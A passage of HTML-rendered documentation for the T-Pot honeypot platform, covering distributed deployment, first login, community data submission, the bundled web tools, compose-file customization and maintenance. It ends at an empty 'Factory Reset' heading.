&lt;p&gt;With T-Pot Standard / HIVE all services, tools, honeypots, etc. will be installed on to a single host which also serves as a HIVE endpoint. Make sure to meet the &lt;a href=&quot;#system-requirements&quot;&gt;system requirements&lt;/a&gt;. You can adjust &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/docker-compose.yml&lt;/code&gt; to your personal use-case or create your very own configuration using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/compose/customizer.py&lt;/code&gt; for a tailored T-Pot experience to your needs.
Once the installation is finished you can proceed to &lt;a href=&quot;#first-start&quot;&gt;First Start&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;distributed&quot;&gt;&lt;strong&gt;Distributed&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The distributed version of T-Pot requires at least two hosts&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;the T-Pot &lt;strong&gt;HIVE&lt;/strong&gt;, the standard installation of T-Pot (install this first!),&lt;/li&gt;
  &lt;li&gt;and a T-Pot &lt;strong&gt;SENSOR&lt;/strong&gt;, which will host only the honeypots, some tools and transmit log data to the &lt;strong&gt;HIVE&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;SENSOR&lt;/strong&gt; will not start before finalizing the &lt;strong&gt;SENSOR&lt;/strong&gt; installation as described in &lt;a href=&quot;#distributed-deployment&quot;&gt;Distributed Deployment&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;uninstall-t-pot&quot;&gt;Uninstall T-Pot&lt;/h2&gt;
&lt;p&gt;Uninstallation of T-Pot is only available on the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distros&lt;/a&gt;.&lt;br /&gt;
To uninstall T-Pot run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/uninstall.sh&lt;/code&gt; and follow the uninstaller instructions, you will have to enter your password at least once.&lt;br /&gt;
Once the uninstall is finished reboot the machine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo reboot&lt;/code&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;first-start&quot;&gt;First Start&lt;/h1&gt;
&lt;p&gt;Once the T-Pot Installer successfully finishes, the system needs to be rebooted (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo reboot&lt;/code&gt;). Once rebooted you can log into the system using the user you setup during the installation of the system. Logins are according to the &lt;a href=&quot;#user-types&quot;&gt;User Types&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;user: &lt;strong&gt;[&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;OS_USERNAME&amp;gt;&lt;/code&gt;]&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;pass: &lt;strong&gt;[password]&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can login via SSH to access the command line: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh -l &amp;lt;OS_USERNAME&amp;gt; -p 64295 &amp;lt;your.ip&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;user: &lt;strong&gt;[&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;OS_USERNAME&amp;gt;&lt;/code&gt;]&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;pass: &lt;strong&gt;[password, ssh key recommended]&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also login from your browser and access the T-Pot WebUI and tools: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;your.ip&amp;gt;:64297&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;user: &lt;strong&gt;[&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;]&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;pass: &lt;strong&gt;[password]&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;standalone-first-start&quot;&gt;Standalone First Start&lt;/h2&gt;
&lt;p&gt;There is not much to do except to login and check via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dps.sh&lt;/code&gt; if all services and honeypots are starting up correctly and login to Kibana and / or Geoip Attack Map to monitor the attacks.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;distributed-deployment&quot;&gt;Distributed Deployment&lt;/h2&gt;
&lt;p&gt;Once you have rebooted the &lt;strong&gt;SENSOR&lt;/strong&gt; as instructed by the installer you can continue with the distributed deployment by logging into &lt;strong&gt;HIVE&lt;/strong&gt; and go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd ~/tpotce&lt;/code&gt; folder.&lt;/p&gt;

&lt;p&gt;If you have not done already generate a SSH key to securely login to the &lt;strong&gt;SENSOR&lt;/strong&gt; and to allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ansible&lt;/code&gt; to run a playbook on the sensor:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-keygen&lt;/code&gt;, follow the instructions and leave the passphrase empty:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Generating public/private rsa key pair.
Enter file in which to save the key (/home/&amp;lt;your_user&amp;gt;/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/&amp;lt;your_user&amp;gt;/.ssh/id_rsa
Your public key has been saved in /home/&amp;lt;your_user&amp;gt;/.ssh/id_rsa.pub
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Deploy the key to the SENSOR by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-copy-id -p 64295 &amp;lt;SENSOR_SSH_USER&amp;gt;@&amp;lt;SENSOR_IP&amp;gt;)&lt;/code&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: &quot;/home/&amp;lt;your_user&amp;gt;/.ssh/id_rsa.pub&quot;
The authenticity of host &apos;[&amp;lt;SENSOR_IP&amp;gt;]:64295 ([&amp;lt;SENSOR_IP&amp;gt;]:64295)&apos; can&apos;t be stablished.
ED25519 key fingerprint is SHA256:naIDxFiw/skPJadTcgmWZQtgt+CdfRbUCoZn5RmkOnQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
&amp;lt;your_user&amp;gt;@172.20.254.124&apos;s password:
  
Number of key(s) added: 1
  
Now try logging into the machine, with:   &quot;ssh -p &apos;64295&apos; &apos;&amp;lt;your_user&amp;gt;@&amp;lt;SENSOR_IP&amp;gt;&apos;&quot;
and check to make sure that only the key(s) you wanted were added.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;As suggested follow the instructions to test the connection &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh -p &apos;64295&apos; &apos;&amp;lt;your_user&amp;gt;@&amp;lt;SENSOR_IP&amp;gt;&apos;&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Once the key is successfully deployed run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./deploy.sh&lt;/code&gt; and follow the instructions.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;community-data-submission&quot;&gt;Community Data Submission&lt;/h2&gt;
&lt;p&gt;T-Pot is provided in order to make it accessible to everyone interested in honeypots. By default, the captured data is submitted to a community backend. This community backend uses the data to feed &lt;a href=&quot;https://sicherheitstacho.eu&quot;&gt;Sicherheitstacho&lt;/a&gt;.
You may opt out of the submission by removing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;# Ewsposter service&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/docker-compose.yml&lt;/code&gt; by following these steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Stop T-Pot services: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/docker-compose.yml&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;micro ~/tpotce/docker-compose.yml&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Remove the following lines, save and exit micro (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTRL+Q&lt;/code&gt;):
```
    &lt;h1 id=&quot;ewsposter-service&quot;&gt;Ewsposter service&lt;/h1&gt;
    &lt;p&gt;ewsposter:
 container_name: ewsposter
 restart: always
 depends_on:
   tpotinit:
     condition: service_healthy
 networks:&lt;/p&gt;
    &lt;ul&gt;
      &lt;li&gt;ewsposter_local
 environment:&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_ENABLE=false&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_HOST=host&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_PORT=port&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_CHANNELS=channels&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_IDENT=user&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_SECRET=secret&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_TLSCERT=false&lt;/li&gt;
      &lt;li&gt;EWS_HPFEEDS_FORMAT=json
 image: ${TPOT_REPO}/ewsposter:${TPOT_VERSION}
 pull_policy: ${TPOT_PULL_POLICY}
 volumes:&lt;/li&gt;
      &lt;li&gt;${TPOT_DATA_PATH}:/data&lt;/li&gt;
      &lt;li&gt;${TPOT_DATA_PATH}/ews/conf/ews.ip:/opt/ewsposter/ews.ip
```&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Start T-Pot services: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is encouraged not to disable the data submission as it is the main purpose of the community approach - as you all know &lt;strong&gt;sharing is caring&lt;/strong&gt; 😍
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;opt-in-hpfeeds-data-submission&quot;&gt;Opt-In HPFEEDS Data Submission&lt;/h2&gt;
&lt;p&gt;As an Opt-In it is possible to share T-Pot data with 3rd party HPFEEDS brokers.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Follow the instructions &lt;a href=&quot;#community-data-submission&quot;&gt;here&lt;/a&gt; to stop the T-Pot services and open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/docker-compose.yml&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Scroll down to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ewsposter&lt;/code&gt; section and adjust the HPFEEDS settings to your needs.&lt;/li&gt;
  &lt;li&gt;If you need to add a CA certificate add it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/data/ews/conf&lt;/code&gt; and set  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EWS_HPFEEDS_TLSCERT=/data/ews/conf/&amp;lt;your_ca.crt&amp;gt;&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Start T-Pot services: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;remote-access-and-tools&quot;&gt;Remote Access and Tools&lt;/h1&gt;
&lt;p&gt;Remote access to your host / T-Pot is possible with SSH (on &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcp/64295&lt;/code&gt;&lt;/strong&gt;) and some services and tools come with T-Pot to make some of your research tasks a lot easier.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;ssh&quot;&gt;SSH&lt;/h2&gt;
&lt;p&gt;According to the &lt;a href=&quot;#user-types&quot;&gt;User Types&lt;/a&gt; you can login via SSH to access the command line: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh -l &amp;lt;OS_USERNAME&amp;gt; -p 64295 &amp;lt;your.ip&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;user: &lt;strong&gt;[&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;OS_USERNAME&amp;gt;&lt;/code&gt;]&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;pass: &lt;strong&gt;[password]&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;t-pot-landing-page&quot;&gt;T-Pot Landing Page&lt;/h2&gt;
&lt;p&gt;According to the &lt;a href=&quot;#user-types&quot;&gt;User Types&lt;/a&gt; you can open the T-Pot Landing Page from your browser via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;your.ip&amp;gt;:64297&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;user: &lt;strong&gt;[&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;]&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;pass: &lt;strong&gt;[password]&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/tpotwebui.png&quot; alt=&quot;T-Pot-WebUI&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;kibana-dashboard&quot;&gt;Kibana Dashboard&lt;/h2&gt;
&lt;p&gt;On the T-Pot Landing Page just click on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kibana&lt;/code&gt; and you will be forwarded to Kibana. You can select from a large variety of dashboards and visualizations all tailored to the T-Pot supported honeypots.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/kibana_a.png&quot; alt=&quot;Dashbaord&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;attack-map&quot;&gt;Attack Map&lt;/h2&gt;
&lt;p&gt;On the T-Pot Landing Page just click on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Attack Map&lt;/code&gt; and you will be forwarded to the Attack Map. Since the Attack Map utilizes web sockets you may need to re-enter the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt; credentials.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/attackmap.png&quot; alt=&quot;AttackMap&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;cyberchef&quot;&gt;Cyberchef&lt;/h2&gt;
&lt;p&gt;On the T-Pot Landing Page just click on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cyberchef&lt;/code&gt; and you will be forwarded to Cyberchef.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/cyberchef.png&quot; alt=&quot;Cyberchef&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;elasticvue&quot;&gt;Elasticvue&lt;/h2&gt;
&lt;p&gt;On the T-Pot Landing Page just click on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Elastivue&lt;/code&gt; and you will be forwarded to Elastivue.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/elasticvue.png&quot; alt=&quot;Elasticvue&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;spiderfoot&quot;&gt;Spiderfoot&lt;/h2&gt;
&lt;p&gt;On the T-Pot Landing Page just click on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Spiderfoot&lt;/code&gt; and you will be forwarded to Spiderfoot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/spiderfoot.png&quot; alt=&quot;Spiderfoot&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;configuration&quot;&gt;Configuration&lt;/h1&gt;

&lt;h2 id=&quot;t-pot-config-file&quot;&gt;T-Pot Config File&lt;/h2&gt;
&lt;p&gt;T-Pot offers a configuration file providing variables not only for the docker services (i.e. honeypots and tools) but also for the docker compose environment. The configuration file is hidden in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpoce/.env&lt;/code&gt;. There is also an example file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;env.example&lt;/code&gt;) which holds the default configuration.&lt;br /&gt;
Before the first start run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/genuser.sh&lt;/code&gt; or setup the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WEB_USER&lt;/code&gt; manually as described &lt;a href=&quot;#add-users-to-nginx-t-pot-webui&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;customize-t-pot-honeypots-and-services&quot;&gt;Customize T-Pot Honeypots and Services&lt;/h2&gt;

&lt;p&gt;In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/compose&lt;/code&gt; you will find everything you need to adjust the T-Pot Standard / HIVE installation:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;customizer.py
mac_win.yml
mini.yml
mobile.yml
raspberry_showcase.yml
sensor.yml
standard.yml
tpot_services.yml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.yml&lt;/code&gt; files are docker compose files, each representing a different set of honeypots and tools with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpot_services.yml&lt;/code&gt; being a template for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;customizer.py&lt;/code&gt; to create a customized docker compose file.&lt;br /&gt;&lt;br /&gt;
To activate a compose file follow these steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Stop T-Pot with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Copy the docker compose file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp ~/tpotce/compose/&amp;lt;dockercompose.yml&amp;gt; ~/tpotce/docker-compose.yml&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Start T-Pot with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To create your customized docker compose file:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd ~/tpotce/compose&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 customizer.py&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;The script will guide you through the process of creating your own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose.yml&lt;/code&gt;. As some honeypots and services occupy the same ports it will check if any port conflicts are present and notify regarding the conflicting services. You then can resolve them manually by adjusting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose-custom.yml&lt;/code&gt; or re-run the script.&lt;/li&gt;
  &lt;li&gt;Stop T-Pot with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Copy the custom docker compose file: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cp docker-compose-custom.yml ~/tpotce&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd ~/tpotce&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Check if everything works by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose -f docker-compose-custom.yml up&lt;/code&gt;. In case of errors follow the &lt;a href=&quot;https://docs.docker.com/compose/compose-file/&quot;&gt;Docker Compose Specification&lt;/a&gt; for mitigation. Most likely it is just a port conflict you can adjust by editing the docker compose file.&lt;/li&gt;
  &lt;li&gt;If everything works just fine press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTRL-C&lt;/code&gt; to stop the containers and run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose -f docker-compose-custom.yml down -v&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Replace docker compose file with the new and successfully tested customized docker compose file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mv ~/tpotce/docker-compose-custom.yml ~/tpotce/docker-compose.yml&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Start T-Pot with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;maintenance&quot;&gt;Maintenance&lt;/h1&gt;
&lt;p&gt;T-Pot is designed to be low maintenance. Since almost everything is provided through docker images there is basically nothing you have to do but let it run. We will upgrade the docker images regularly to reduce the risks of compromise; however you should read this section closely.&lt;br /&gt;&lt;br /&gt;
Should an update fail, opening an issue or a discussion will help to improve things in the future, but the offered solution will &lt;strong&gt;&lt;em&gt;always&lt;/em&gt;&lt;/strong&gt; be to perform a &lt;strong&gt;&lt;em&gt;fresh install&lt;/em&gt;&lt;/strong&gt; as we simply &lt;strong&gt;&lt;em&gt;cannot&lt;/em&gt;&lt;/strong&gt; provide any support for lost data!
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;general-updates&quot;&gt;General Updates&lt;/h2&gt;
&lt;p&gt;T-Pot security depends on the updates provided for the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distro images&lt;/a&gt;. Make sure to review the OS documentation and ensure updates are installed regularly by the OS. By default (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/.env&lt;/code&gt;) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TPOT_PULL_POLICY=always&lt;/code&gt; will ensure that at every T-Pot start docker will check for new docker images and download them before creating the containers.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;update-script&quot;&gt;Update Script&lt;/h2&gt;
&lt;p&gt;T-Pot releases are offered through GitHub and can be pulled using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/update.sh&lt;/code&gt;.&lt;br /&gt; 
&lt;strong&gt;&lt;em&gt;If you made any relevant changes to the T-Pot config files make sure to create a backup first!&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;em&gt;Updates may have unforeseen consequences. Create a backup of the machine or the files most valuable to your work!&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;The update script will …&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;em&gt;mercilessly&lt;/em&gt;&lt;/strong&gt; overwrite local changes to be in sync with the T-Pot master branch&lt;/li&gt;
  &lt;li&gt;create a full backup of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce&lt;/code&gt; folder&lt;/li&gt;
  &lt;li&gt;update all files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce&lt;/code&gt; to be in sync with the T-Pot master branch&lt;/li&gt;
  &lt;li&gt;restore your custom &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ews.cfg&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/data/ews/conf&lt;/code&gt; and the T-Pot configuration (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/.env&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;known-issues&quot;&gt;Known Issues&lt;/h2&gt;
&lt;p&gt;The following issues are known, simply follow the described steps to solve them.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;docker-images-fail-to-download&quot;&gt;&lt;strong&gt;Docker Images Fail to Download&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Some time ago Docker introduced download &lt;a href=&quot;https://docs.docker.com/docker-hub/download-rate-limit/#:~:text=Docker%20Hub%20limits%20the%20number,pulls%20per%206%20hour%20period.&quot;&gt;rate limits&lt;/a&gt;. If you are frequently downloading Docker images via a single or shared IP, the IP address might have exhausted the Docker download rate limit. Login to your Docker account to extend the rate limit.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo su -
docker login
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;t-pot-networking-fails&quot;&gt;&lt;strong&gt;T-Pot Networking Fails&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;T-Pot is designed to only run on machines with a single NIC. T-Pot will try to grab the interface with the default route, however it is not guaranteed that this will always succeed. At best use T-Pot on machines with only a single NIC.&lt;/p&gt;

&lt;h2 id=&quot;start-t-pot&quot;&gt;Start T-Pot&lt;/h2&gt;
&lt;p&gt;The T-Pot service automatically starts and stops on each reboot (which occurs once on a daily basis as setup in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo crontab -l&lt;/code&gt; during installation).
&lt;br /&gt;
If you want to manually start the T-Pot service you can do so via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt; and observe via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dpsw&lt;/code&gt; the startup of the containers.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;stop-t-pot&quot;&gt;Stop T-Pot&lt;/h2&gt;
&lt;p&gt;The T-Pot service automatically starts and stops on each reboot (which occurs once on a daily basis as setup in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo crontab -l&lt;/code&gt; during installation).
&lt;br /&gt;
If you want to manually stop the T-Pot service you can do so via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt; and observe via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dpsw&lt;/code&gt; the shutdown of the containers.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;t-pot-data-folder&quot;&gt;T-Pot Data Folder&lt;/h2&gt;
&lt;p&gt;All persistent log files from the honeypots, tools and T-Pot related services are stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/data&lt;/code&gt;. This includes collected artifacts which are not transmitted to the Elastic Stack.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;log-persistence&quot;&gt;Log Persistence&lt;/h2&gt;
&lt;p&gt;All log data stored in the &lt;a href=&quot;#t-pot-data-folder&quot;&gt;T-Pot Data Folder&lt;/a&gt; will be persisted for 30 days by default.
&lt;br /&gt;
Elasticsearch indices are handled by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpot&lt;/code&gt; Index Lifecycle Policy which can be adjusted directly in Kibana (make sure to “Include managed system policies”).
&lt;img src=&quot;doc/kibana_b.png&quot; alt=&quot;IndexManagement1&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;By default the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpot&lt;/code&gt; Index Lifecycle Policy keeps the indices for 30 days. This offers a good balance between storage and speed. However you may adjust the policy to your needs.
&lt;img src=&quot;doc/kibana_c.png&quot; alt=&quot;IndexManagement2&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;factory-reset&quot;&gt;Factory Reset&lt;/h2&gt;
